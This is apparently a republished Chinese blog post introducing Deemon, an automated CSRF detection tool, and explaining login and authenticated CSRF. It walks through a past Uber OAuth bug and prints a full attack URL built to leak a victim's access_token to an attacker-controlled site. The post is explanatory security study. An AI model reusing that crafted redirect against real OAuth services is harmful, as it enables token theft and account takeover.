Deemon & CSRF漏洞自动挖掘工具分析

前言

在前端的攻击中,一般活跃在大家视线里的可能都是xss居多,对于csrf这一块正好我也抱着学习的心态,了解到安全顶会有一篇自动化挖掘CSRF漏洞的paper,于是看了看,以下是相关知识分享。

背景

CSRF可以分为两种,一种是authenticated CSRF,一种是login CSRF。

login CSRF

对于login CSRF,这里我们以曾经的价值8000美金的Uber漏洞为例:

在网站中,登录流程机制大致如下:

Deemon & CSRF漏洞自动挖掘工具分析_第1张图片

如果我们将somewhere改为google.com,那么流程将变为:Deemon & CSRF漏洞自动挖掘工具分析_第2张图片

此时可以发现网站存在重定向的漏洞。如果此处我们将response_type=code改为response_type=token:Deemon & CSRF漏洞自动挖掘工具分析_第3张图片

由于Oauth请求使用的是code并非access_token,所以此处重定向失败。

那么此处可以引入login CSRF攻击,为oauth2-callback节点提供有效的code值,奇热那么即可将受害者的access_token带出重定向到我们的网站。Deemon & CSRF漏洞自动挖掘工具分析_第4张图片

那么只要受害者点击链接:

https://login.uber.com/oauth/authorize?response_type=token&scope=profile%20history%20places%20ride_widgets%20request%20request_receipt%20all_trips&client_id=bOYt8vYWpnAacUZt9ng2LILDXnV-BAj4&redirect_uri=https%3A%2F%2Fcentral.uber.com%2Foauth2-callback%3fcode%3d{攻击者的有效OAuth code}&state=%2F%2f攻击者控制的站点

攻击者即可在网站hackerone.com收到受害者的access_token。

authenticated CSRF

Deemon & CSRF漏洞自动挖掘工具分析_第5张图片

对于authenticated CSRF其实容易理解很多,即在用户登录后的页面里插入evil html,这里的方式可以多样化,例如可以利用xss,插入 HTML iframe tag,或者 self-submitting JavaScript code, 又或是使用XMLHttpRequest JavaScript API等等。

这里可以以一道CTF题目为例:https://xssrf.hackme.inndy.tw/

详细的题解可以参考我这篇文章:https://skysec.top/2018/08/17/xss-ssrf-redis/

你可能感兴趣的:(Deemon & CSRF漏洞自动挖掘工具分析)